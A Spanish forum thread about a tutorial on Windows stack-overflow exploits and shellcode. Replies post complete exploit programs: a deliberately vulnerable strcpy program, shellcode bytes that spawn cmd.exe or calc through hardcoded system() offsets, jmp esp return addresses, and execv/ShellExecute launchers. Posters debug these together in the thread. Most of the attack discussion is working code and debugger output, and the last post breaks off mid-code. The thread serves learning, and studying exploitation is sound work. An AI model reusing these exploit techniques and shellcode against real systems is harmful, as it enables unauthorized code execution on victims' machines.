El texto es una introduccion al codeo de exploits sencillos, codeo de shellcodes sencillas, y explicar paso a paso el porque de un stack overflow, todo en Windows. Concretamente, los ejemplos fueron testeados en un Windows XP SP1.
Creo que no contiene errores graves, pero si los contiene, o cualquier otra cosa, no dudeis en decirmelo :)
El texto ha sido redactado por mi, con faltas o sin ellas, con explicaciones enrevesadas, con errores en definiciones, en fin, no sera el mejor texto redactado que hay sobre el tema, ni el unico :P pero me ha gustado redactarlo, y con que ayude a una sola persona, y me de las gracias por email, privado o en el foro, me vale :)
Sinceramente, me ha costado hacerlo (sobre todo tiempo), solo espero que os guste y lo aprovecheis para profundizar mas en el tema. Mi texto es solo la punta del iceberg ;)
Esta como archivo adjunto, para descargarlo, hay que estar registrado :P ;D (cosas del admin) ;D
O sino, usar este mirror:
http://www.telefonica.net/web/espaiwebfacultat/Exploits%20y%20Stack%20Overflows%20en%20Windows.zip
Es un texto en formato TXT, a 17 columnas, no creo que haya ningun problema en verlo en cualquier visualizador en cualquier sistema. Puede que en el futuro, se saque en PDF, pero creo que esta mucho mejor en TXT, formato ezine :P
Salu2, espero vuestros comentarios
Muy bueno el texto rojodos! ;)
pues mira que te la has curao con este texto ;D.
en lo personal me gusto bastante, quizas como tu lo dices sea una breve explicacion sobre el shellcoding pero te sirve bastante para cuando te quieres iniciar en esta rama del hacking.
enhorabuena Rojodos por tu texto, sigue asi ;)
zaludox
tremendo rojodos!!!mu bueno.
solo una duda de principiante:
cuando creas la shellcode, porque pones:
sub esp,04h
dices que para introducir cmd.exe pero este es de 8?¿?¿?¿
se que es una tonteria, pero bueno...
txao
Bueno, gracias a un oportuno aviso, ha sido subsanado un error en la shellcode :P
Sabia yo que tenia un error ;D
En fin, solo decir que he cambiado el texto, para descargarselo de nuevo... es lo que tiene escribir un texto tan largo, no puedes esperar a que te salga perfecto la primera vez.
Salu2
Antes del sub esp,04h, solo teniamos espacio para 4bytes.
"cmd.exe0" --> 8 caracteres, 8 bytes
El "0" de fin de cadena tambien cuenta, y es muy importante, sino system no sabe donde acaba el comando.
Por eso necesitabamos 4bytes mas.
Se puede hacer la shellcode que haga solo System("cmd0"), con lo que la shellcode seria mucho mas corta, no habria que sustraer nada a ESP (solo ocupa 3bytes+1byte del 0), y solo habria que introducir 3 letras (esa es la que he usado en el exploit de Acrobat Reader) pero me parecio mucho mas didactico ponerlo completo, y asi ver el porque del sub esp,04h.
Salu2
se ve muy bueno, lo leere con calma. muxas gracias rojodos
Bueno, para los no registrados, hay un mirror:
http://www.telefonica.net/web/espaiwebfacultat/Exploits%20y%20Stack%20Overflows%20en%20Windows.zip
Salu2
Este cyrux es un mostro ;D
http://www.cyruxnet.org/exploits_y_stack_overflows_en_windows.htm
Gracias :)
El texto está muy bueno Rojodos, ya había leído varios artículos sobre el tema y este me pareció el mejor y más claro.
Solamente tengo algunas dudas.
¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡¡
Primero unas aclaraciones (por las dudas): estoy compilando con visual C ++ 6.0 y los (todos) offset (por ejemplo el que encontrás con Findjmp.exe - 0x77F8980F-) son iguales a los de mi máquina.
????????????????
Aclarado esto paso a las consultas:
1ro: "Si le metemos al programa esto (a través del Olly, Arguments) AAABBBBCCCCDDDD...
Veremos que peta exactamente en 54545454, es decir, en TTTT. Ya sabemos dentro
del buffer, donde debe ir la dirección de la shellcode que "cojera" EIP y
ejecutara nuestra shellcode."
Esto dice tu manual, a mí me aparece 52525252 en lugar de 54545454 (RRRR) no se porque difiere, pero me parece más lógico ya que el array que declaraste en el programa vulnerable (char buffer[64]; //Declaramos un array con 64 bytes de espacio) es de 64 bytes, y al estar usando 4 caracteres por letra (AAAABBBB....) me parece que efectivamente debería saltar en RRRR por que 64 dividido en 4 = 16 y la letra 16 es "Q" por lo tanto la que sigue sería la que lo haría revalsar (R). ???
2do. En tu manual:
"0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode
0040B4ED |. 8BEC MOV EBP,ESP
0040B4EF |. 33FF XOR EDI,EDI
0040B4F1 |. 57 PUSH EDI
0040B4F2 |. 83EC 04 SUB ESP,4
0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63
0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D
0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64
0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E
0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65
0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78
0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65
0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040B514 |. 50 PUSH EAX
0040B515 |. BB 4480BF77 MOV EBX,77BF8044
0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode"
A mi esto me que da igual solo que el opcode que vos escribís es "55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3" y el que yo interpreto es "55 8B EC 33 FF 57 83 EC 08 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB 44 80 BF 77 FF D3" no se si entendí mal que se obtiene el opcode o que es lo que pasa?
3ro. No entiendo por que hace falta que busquemos un JMP ESP para hacerlo saltar a 55555555 y no directamente desde 54545454 lo hacemos saltar a nuestro opcode.
Calculo que por algo de lo anterior es que no funciona mi exploit, cuando lo ejecuto me sale LO QUE ESCRIBISTE "Cadena más offset...." abajo la cadena "AAAABBBB...." hasta la letra Q que es lo que yo puse y com 30 caracteres muy extraños más, seguramente basura de la memoria (creo).
Ya probé todas las modificaciones que se me ocurrieron.
Gracias, y lo repito, muy buen manual.
Aclaracion:
Los offsets del jmp esp o del system.msvcrt.dll no tienen que ver con el compilador, sino con tu sistema. Por lo que me cuentas, al ser el mismo que el mio, tendras un Windows XP SP1 Español.
Al tener el mismo SO, con el mismo SP, y con el mismo lenguaje, tenemos las mismas librerias (salvo excepciones que no vienen al caso) y por tanto, los mismos offsets
1º:
Se perfectamente porque pasa eso :). El programa vulnerable yo lo compile con el Dev Cpp, que esta basado en el "motor" del GCC. El compilador, por temas de alineamiento, añade algunos bytes a cada variable a la hora de compilar, segun su tamaño. Existe por ahi una tabla (estoy seguro de haberla visto) que te calculaba exactamente los bytes de alineamiento que producia.
Obviamente, el compilador de VC++ es distinto, y no añade dichos bytes de alineamiento, con lo que el buffer es mas pequeño.
2º
AGH XDDDDDDDDDDD
Los opcodes que pongo, son de una shellcode "mini", que solo hacen un system("cmd") en vez de system("cmd.exe"), vaya fallo :p xDDDDDDDDD
Es que al principio, pense en hacerla simple, pero luego me arrepenti, hize la "larga", pero no cambie los opcodes.
Los opcodes correctos son los que tu pones, pero ambos funcionan, asi que no lo voy a cambiar (ya he cambiado una vez el texto :P). Que fallo xDDDD Gracias por decirmelo :)
3º:
Ten en cuenta que el RET sobreescrito tiene que ser UNA DIRECCION, no una instruccion. Es decir, si pones una instruccion NOP (la instruccion NOP simplemente hace que el procesador no haga nada y salte a la siguiente instruccion), en opcode seria 0x90, el ret quedaria sobreescrito asi:
90909090
Pero, en vez de ejecutarse los 4 NOPs, lo que pasa es que EIP trata de ejecutar lo que haya en la direccion 90909090.
El ret sobreescrito tiene que ser SIEMPRE una DIRECCION.
Lo entiendes?
Me alegra que te guste el texto :)
Cualquier duda, ya sabes :)
Salu2
El texto está bien. Sobre todo el método de didáctica que usaste, lo digo por explicar unas cuantas cosas con el debugger a mano, me parece que es una buena forma de fundamentar la teoría y práctica.
A pesar de que el texto está muy explicado, yo le recomendaría a cualquiera que
quiera comenzar con el tema de los exploits y las shellcodes que aprenda bien
ensamblador (fundamentalmente este lenguaje) y C; de otra forma a pesar de que
una persona con conocimientos nulos de programación ensamblador lea textos muy
explicados como éste, se le dificultará bastante la comprensión (hay que aprender a programar bien primero).
Para quien quiera saber más o menos de que se trata este texto, aquí le dejo un mini índice (me parece que te olvidaste de esa parte Rojodos, lo podrías agregar así organizas un poco mejor tu texto ;) :) ).
Citar
-== Introducción. ==-
- C/C++
- Ensamblador (ASM)
- Debugger (Depurador)
- Dissasembler (Desamblador)
- Hex Editor (Editor Hexadecimal)
- La CPU (microprocesador)
- Registros de la CPU.
- ¿Que es una vulnerabilidad?
- ¿Que es un exploit?
- ¿Que es una shellcode?
- ¿Que es un overflow?
- ¿Porque se le llama Stack Overflow?
-== EJEMPLO CODIGO VULNERABLE A STACK OVERFLOW ==-
-== ¿PARA QUE NOS SIRVE UN STACK OVERFLOW? ==-
-== COMO HACER UNA SHELLCODE BASICA ==-
-== CREANDO EL EXPLOIT ==-
-== DOCUMENTACION ==-
-== AGRADECIMIENTOS ==-
Saludos,
Griph.
Primero: entendí muy bien las explicaciones que me diste anteriormente Rojodos. Gracias. Pero siguo sin poder hacer funcionar el exploit. Para tratar de resolverlo estoy usando el OllyDbg y como argumento le estoy pasando la cadena evilbuffer de tu exploit. Le estoy pasando esto como argumento:
"AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLL
MMMMNNNNOOOOPPPPQQQQ\x0F\x98\xF8\x77\x55\x8B\xEC\x33
\xFF\x57\x83\xEC\x08\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6
\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD
\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77
\xFF\xD3"
Quería saber si esta manera de probarlo es correcta, ya que el programa llega a una instrucción en la que se clava, osea siguo apretando F7 si no avanza ni una intrucción, como que ejecutara la misma. Gracias.
fijate que valor tiene eip y sabras si esta sobreescrito o no.
Sigo sin poder hacer funcionar el exploit.
1ro. La shellcode funciona, cuando ejecuto el código que solamente tiene que devolver una shell funciona.
2do. Me está costando encontrar el problema por que no logro seguirle el rastro al programa (debugearlo), no se si lo que hago es lo correcto. Lo que estoy haciendo es abrir el programa con el OllyDbg y pasarle como parámetro la cadena + el offset + el shellcode, pero me parece que esto está mal por que donde antes me aparecía 52525252 (a Rojodos le aparecia 54545454) a mi me aparece 4630785C (que en ascii es F0x\ - la primera parte del offset - que está alrevéz por el tema de LITTLE ENDIAN) que es donde debería estar la dirección a donde ir a buscar el JMP ESP (77F8980F). Pienso que esto pasa por que estoy usando el OllyDbg ya que si se lo paso al argumento con el exploit, creo (creo) que si llega a la dir deseada (77F8980F) y ahí aparece otro problema (no se cual).
Quisiera saber si esto está mal.
Quisiera saber como puedo debugearlo correctamente.
Ayuda.
Más cosas.
Cuando hice la primera shellcode para ver si funcionaba, esta lo hace muy bien, la pase por el OllyDbg y llama sin problemas al offset del system (77BF8044); pero cuando el exploit tiene que ir hasta esa dirección (una ves ya cargada el resto de la shellcode) me dice que no encuntra la dirección (77BF8044),; esto logré hacerlo metiendo todos los opcodes a mano, los que no logro cargar todavía automáticamente.
Por que será?
Gracias.
??? ??? ??? ??? ???
Esto me está quemando la cabeza.
Vamos a ver, antes de nada, no le puedes meter al olly por argumentos "\xF0" por ejemplo, porque tomara \ por un lao, x por otro, F por otro y 0 por otro, es decir, tu quieres que \xF0 sea un byte no? Es que el olly te lo toma por 4 bytes \-x-F-0
Para eso deberias saber su conversion en ASCII (como \x41 = A), o hacerlo a traves de un programa que ejecute el programa vulnerable y le meta los opcodes por parametro, como el "exploit" en C que pongo al final, usando execv().
Tambien puedes crear un mini programita en C que te printee la shellcode por pantalla (su conversion a ascii claro), copiar+pegar en el olly el resultado. Asi tambien puede funcionar.
En cuanto al tema del offset, ten en cuenta, que la shellcode necesita que msvcrt.dll este cargada en el programa vulnerable. Si compilas el programa con Dev Cpp, como lo hize yo, la cargara automaticamente, pero no se si pasa eso al usar otro compilador, como VC++.
En ese caso, en el programa vulnerable tienes que añadir, detras de main(), esto:
LoadLibrary ("msvcrt.dll");
Si no te reconocoe LoadLibrary, mete el include "windows.h".
A ver si asi das con la tecla :)
Salu2
:D
Listo. Funciona. El problema era que no cargaba la dll ntdll.
Gracias. :)
Tengo un problema, al intentar compilar el codigo vuln1.c con Dev-C++ me da muchos errores, ???no le falta nada a ese codigo ??? porquee creo que declara a "funcion" pero nunca la invoca.
Si alguien me puede ayudar gracias
Salu2
Cita de: ynos en 22 Febrero 2005, 03:26 AM
Tengo un problema, al intentar compilar el codigo vuln1.c con Dev-C++ me da muchos errores, ???no le falta nada a ese codigo ??? porquee creo que declara a "funcion" pero nunca la invoca.
Si alguien me puede ayudar gracias
Salu2
Ve al foro de programacion general y publica tus errores ahi te podemos ayudar.
#include <string.h> es todo lo que le falta al programa vulnerable. ;)
Ya he solucionado el problema con el programa vulnerable, muchas gracias ;)
Pero ahora tengo otros problema:
Al utilizar el findjmp.exe para localizar el JMP ESB en los dll que utiliza el programa no encuentro ninguno, ¿hay algun reemplazo u otra forma de realizar de ese paso?
Alguien me puede ayudar porque sino no puedo probar el exploit..
Gracias y salu2 :)
ynos: es probable que estés usando mal el findjmp.exe. Por que no decis como lo hacés lo correcto sería:
findjmp ntdll.dll esp (tal como lo dice el manual ;)
Digo que quizás lo uses mal por que yo no tube ningún problema. Quizás no.
No no, lo estoy usando tal y como dice el manual, el problema es que en ningun dll de los que utiliza el programa hay un JMP ESP, mira esta es la respuesta del programa despues de ejecutarlo:
Scanning ntdll.dll for code useable with the esp register
Finished Scanning ntdll.dll for code useable with the esp register
Found 0 usable addresses
Nose que hacer para reemplazar ese paso o hacerlo de otra forma
pues rojodos mil graciass ;D buenisimo el txt :D espero q hagas otro mas avanzado asi aprendo mas :D
saludos
Me a parecido un buen manual,pero me gustaria saber algo mas,Rojodos si no t importa agregarme o mandame un e-mail y hablaremos.
Mi correo juasjuas666@hotmail.com
Muchas gracias
Juarez.
Hola
Que hago si no encuentro esto:
0040B4EC |. 55 PUSH EBP <---- Aquí empieza nuestra shellcode
0040B4ED |. 8BEC MOV EBP,ESP
0040B4EF |. 33FF XOR EDI,EDI
0040B4F1 |. 57 PUSH EDI
0040B4F2 |. 83EC 04 SUB ESP,4
0040B4F5 |. C645 F8 63 MOV BYTE PTR SS:[EBP-8],63
0040B4F9 |. C645 F9 6D MOV BYTE PTR SS:[EBP-7],6D
0040B4FD |. C645 FA 64 MOV BYTE PTR SS:[EBP-6],64
0040B501 |. C645 FB 2E MOV BYTE PTR SS:[EBP-5],2E
0040B505 |. C645 FC 65 MOV BYTE PTR SS:[EBP-4],65
0040B509 |. C645 FD 78 MOV BYTE PTR SS:[EBP-3],78
0040B50D |. C645 FE 65 MOV BYTE PTR SS:[EBP-2],65
0040B511 |. 8D45 F8 LEA EAX,DWORD PTR SS:[EBP-8]
0040B514 |. 50 PUSH EAX
0040B515 |. BB 4480BF77 MOV EBX,77BF8044
0040B51A |. FFD3 CALL EBX <--- Aqui acaba nuestra shellcode
donde o como puedo saber donde empieza la shellcode si esto no me aparece ó me aparece diferente...y como compilo la shellcode en visual c++ , ya que cuando la intento compilar me aparecen errores y a lo mejor es porque no lo estoy haciendo bien....GRACIAS ;D ;D
Tengo otro problema, y es que la la shellcode tiene el caracter "|" y me toma lo que hay despues como un comando, y no me deja ejecutarlo. Aqui os pogo las diferencias de los offsets y demas del tuto con respecto a mi equipo (WinXP Pro SP2 Esp).
Citar
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRR+offset+shellcode
(EIP se rellena con "RRRR")
MIO:
55 8B EC 33 FF 57 83 EC 04 C6 45 F8 63 C6 45 F9 6D C6 45 FA 64 C6 45 FB 2E C6 45 FC 65 C6 45 FD 78 C6 45 FE 65 8D 45 F8 50 BB C793BF77 FF D3
TUTO:
55 8B EC 33 FF 57 C6 45 FC 63 C6 45 FD 6D C6 45 FE 64 8D 45 FC 50 BB 4480BF77 FF D3
[MIO]
Olly: ESP 0012FF88
EIP 52525252
[TUTO]
Olly: ESP 55555555
EIP 54545454
Offset kernel32.dll esp: 0x7C82385D
Offset tuto: 0x77E81941
Offset system: 0x77bf93c7
Offset tuto: 0x77bf8044
Offset ntdll.dll esp (jmp esp): 0x7C951EED
Offset tuto: 0x77F8980F
Aqui el "exploit":
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void main()
{
/*para provocar el stack overflow*/
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQ";
/*la shellcode que ejecuta system("cmd.exe"); con la llamada a system hardcodeada*/
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";
/*offset al que saltar para ejecutar la shell*/
//Offset jmp esp ntdll32.dll WinXP SP2 Esp
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset); //Concatenamos a evilbuffer el offset del jmp esp
strcat(evilbuffer,shellcode); //Concatenamos a evilbuffer+offset la shellcode
/*
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
*/
/*
argv[0] = "vuln1"; //Definimos el argumento1, es decir, el nombre del vuln1
argv[1] = evilbuffer; //Definimos el argumento2, o sea, el argumento de vuln1
argv[2] = NULL; // Apunta a 0, porque no metemos mas argumentos
*/
char *buffer;buffer=(char *) malloc((strlen(evilbuffer)+strlen("stack.exe")+5)*sizeof(char));
strcpy(buffer,"stack.exe ");strcat(buffer,evilbuffer);
system(buffer);
return;
}
Ya he leido que los opcodes de la shellcode son diferentes, y que el EIP se rellena con 52525252 en vez de 54545454 porque rojodos lo compilo con Dev-Cpp
Os dejo la salida que me da cuando lo ejecuto desde el VC++
Citar
"U<ì3ÿWƒì♦ÆEøcÆEùmÆEúdÆEû.ÆEüeÆEýxÆEþe?EøP»Ç"¿wÿÓ" no se reconoce como un comand
o interno o externo,
programa o archivo por lotes ejecutable.
Press any key to continue
Y la string completa que explota el programa.
stack.exe AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQÝ▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë
Pd: En mi caso, el programa vulnerable se llama "stack.exe"
Pd2: Rojodos no sabes las veces k me he leido el tuto intentando encontrar el error que tengo xD
============= EDITADO =============
lo he debuggeado con olly pasandole como parametro esto:
Citar
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50\xBB\xC7\x93\xBF\x77\xFF\xD3
Pero en el EIP se meten "QQQQ" asi que se las quito, y me queda asi: http://img312.imageshack.us/img312/5522/dibujo7ln.png
Pero incluso quitandole las "QQQQ" del exploit me dice lo mismo
Me sorprende no haber visto este buenisimo texto antes! ;D
Pero tengo una duda. En el manual pone que puede que se haga otro para exploiting en linux. Se ha echo ya?
Lo que me interesa es programar mi primer exploit para usarlo contra un windows sp2 que tengo, pero quisiera compilarlo y usarlo en linux. Creo que lo que varia tiene algo que ver con la cabecera windows.h (o algo asi) y como en linux no hay, no se puede compilar
Existe algun modo, o texto que me indique como "traducir" el source resultante para compilarlo y usarlo sobre plataformas linux?
muchas gracias de antemano y saludos!! :D
bueno, ya lo solucione, aqui os pongo el code:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
#include <windows.h>
int main()
{
//buffer
char EvilBuffer[1024]="\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
//direccion de jmp esp de ntdll.dll WinXP SP1 Español
char Offset[]="\xCC\x59\xFA\x77";
/*Shellcode con la llamada a system("cmd.exe");
Offset de la funcion system en msvcrt.dll: 0x77bf8044
*/
char ShellCode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6"
"\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45\xFA\x64\xC6\x45"
"\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE"
"\x65\x8D\x45\xF8\x50\xBB\x44\x80\xBF\x77\xFF\xD3";
/*
HMODULE Dll=LoadLibrary("msvcrt.dll");
__asm{
push ebp
mov ebp,esp
xor edi,edi
push edi
sub esp,04h
mov byte ptr [ebp-08h],63h
mov byte ptr [ebp-07h],6Dh
mov byte ptr [ebp-06h],64h
mov byte ptr [ebp-05h],2Eh
mov byte ptr [ebp-04h],65h
mov byte ptr [ebp-03h],78h
mov byte ptr [ebp-02h],65h
lea eax,[ebp-08h]
push eax
mov ebx,0x77bf8044//Offset de la funcion system en msvcrt.dll
call ebx
}
FreeLibrary(Dll);
*/
//creamos el parametro: Buffer + Offset + ShellCode
strcat(EvilBuffer,Offset);
strcat(EvilBuffer,ShellCode);
//explotamos }:-D
ShellExecute(NULL,"OPEN","vulnl.exe",EvilBuffer,NULL,true);
return 0;
}
hola
tengo un problemacon el exploit.. cuando lo ejecuto me aparece algo asi....
AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLL▲ò|Uïý3 Wâý♦ãE°cãE¨mãE·dãE¹.ãE³eãE²xãE■eìE°P╗Ãô┐w Ë
que estoy haciendo mal...
y tengo una pregunta... cuando analizo los jmp de ntdll.dll me aparecen dos.. que hago... coloco los 2 jmp que me aparecen o solo coloco uno de los dos...
espero su respuesta.. gracias ;D
No entiendo por que este array: char EvilBuffer[1024], es de 1024... no tendria q ser de 64 para que se produzca el overflow???
saludos
Debe ser mayor que 64 para producirse el overflow.
Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64
saludos
Hola a todos, quería en principio felicitar a Rojodos por este magnífico tutorial de "Stack Overflows en Windows", me ha encantado. ;)
Por si a alguien le resultara de ayuda posteo los códigos que adapté para mi Windows Xp SP2 Esp., compilados con Dev CPP.
Vuln1.c
#include <stdio.h> // librería stdio.h, funciones básicas de Entrada/Salida
#include <string.h>
int main (int argc, char **argv){ // La función "principal" del programa
char buffer[64]; //Declaramos un array con 64 bytes de espacio
if (argc < 2){ // Si los argumentos son menores que 2...
printf ("Introduzca un argumento al programa\n"); //Printeamos
return 0; // y retornamos 0 a la función main, y el programa acaba
}
strcpy (buffer, argv[1]); // Aqui es donde esta el fallo.
return 0; // Devolvemos 0 a main, y el programa acaba.
}
exploit_vuln1.c
#include <stdio.h>
#include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
argv[0] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;
execv ("vuln1.exe",argv);
}
Un salu2.
Tengo el mismo codigo que _Xerks_ y a mi no me funciona:#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <windows.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3";
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
argv[0] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;
execv ("vuln1.exe",argv);
}
Uso winXp SP2
Hola Bochan, fíjate en esto...
Mi código:
"\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"
Tu código:
\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFD\xD3"]
Ya no es el mismo código ;)
Un salu2.
Aunque lo cambie no me hace nada.... q compilador usas Dev-cpp?? Ya estoy deseperado porque lo ejecute y no hace nada de nada me tiene harto, llevo 5 dias con esto no veas lo q me esta costando
saludos
Hola de nuevo, si, uso Dev Cpp, sólo por descartar posibles errores chorras, me imagino q´tienes compilado el Vuln1.c, y lo debes tener en la misma carpeta donde tengas compilado el exploit_vuln1.c, de no ser así, si exploit_vuln1.exe no encuentra a vuln1.exe no funcionará.
Un saludo.
LoL tio era esooo!!!! tenia el vuln1.exe fuera de la carpeta de exploit_vul.exe
joder q pardillo toy echo como se nota que soy novato....
gracias por la ayuda
Cita de: bochan en 26 Abril 2007, 19:52 PM
Pero si es mayor de 64 no se produce overflow si le metes las mismas As q si es de 64
saludos
Veamos, si tienes un vaso de 64 cc o lo que quieras... y le hechas 64cc de agua, pues esta lleno pero no se sale el agua porque cupo perfectamente, es lo que aguanta. Si le hechas 100cc de agua a un vaso que solamente puede contener 64cc pues se desborda, se produce un overflow. El overflow es poner mas de lo que aguanta. El buffer es de 64, si le pones de mas pues se desborda.
Ok ya entendi todo es que me lie con los arrays de 64 y de 1024 jaja gracias por la ayuda
Hola de nuevo, he cambiado la shellcode para que en lugar de devolvernos al cmd ejecute la calculadora de windows, es una tonteria, pero lo posteo sólo para jugar con el exploit viendo un resultado diferente.
exploit_vuln1_calc.c
#include <stdio.h>
#include <stdlib.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xFB\x63\xC6\x45\xFC\x61\xC6\x45\xFD\x6C\xC6\x45\xFE\x63\x8D\x45\xFB\x50\xBB\xC7\x93\xBF\x77\xFF\xD3";
char offset[]="\xED\x1E\x95\x7C";
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
argv[0] = "vuln1";
argv[1] = evilbuffer;
argv[2] = NULL;
execv ("vuln1.exe",argv);
}
Un saludo.
la pagina se ha muerto, lo vuelves a subir?
Usa esta:
https://foro.elhacker.net/index.php?action=dlattach;topic=57910.0;attach=673
Hola, estoy realizando el exploit basico (gracias al texto de rojodos....impresionantemente bien explicado) y tengo el siguiente problema:
Pego mi codigo antes de nada:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main (int argc,char **argv) {
char evilbuffer[1024]="AAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJJJJKKKKLLLLMMMMNNNNOOOOPPPPPQQQQRRRRSSSS";
char shellcode[]="\x55\x8B\xEC\x33\xFF\x57\x83\xEC\x04\xC6\x45\xF8\x63\xC6\x45\xF9\x6D\xC6\x45"
"\xFA\x64\xC6\x45\xFB\x2E\xC6\x45\xFC\x65\xC6\x45\xFD\x78\xC6\x45\xFE\x65\x8D\x45\xF8\x50"
"\xBB\xC7\x93\xBF\x77\xFF\xD3"; [b] //EL OFFSET TAMBIEN LO HE PUESTO BIEN (xC7\x93\xBF\x77) lo hago con el programa diceoffset [/b]
char offset[]="\x7C\x95\x1E\xED"; [b] //HE SACADO ESTO EN MI PC CON FINDJMP[/b]
strcat(evilbuffer,offset);
strcat(evilbuffer,shellcode);
printf ("Cadena + offset + shellcode en formato printable\n\n");
printf ("%s", evilbuffer);
argv[0] = "vulnerable";
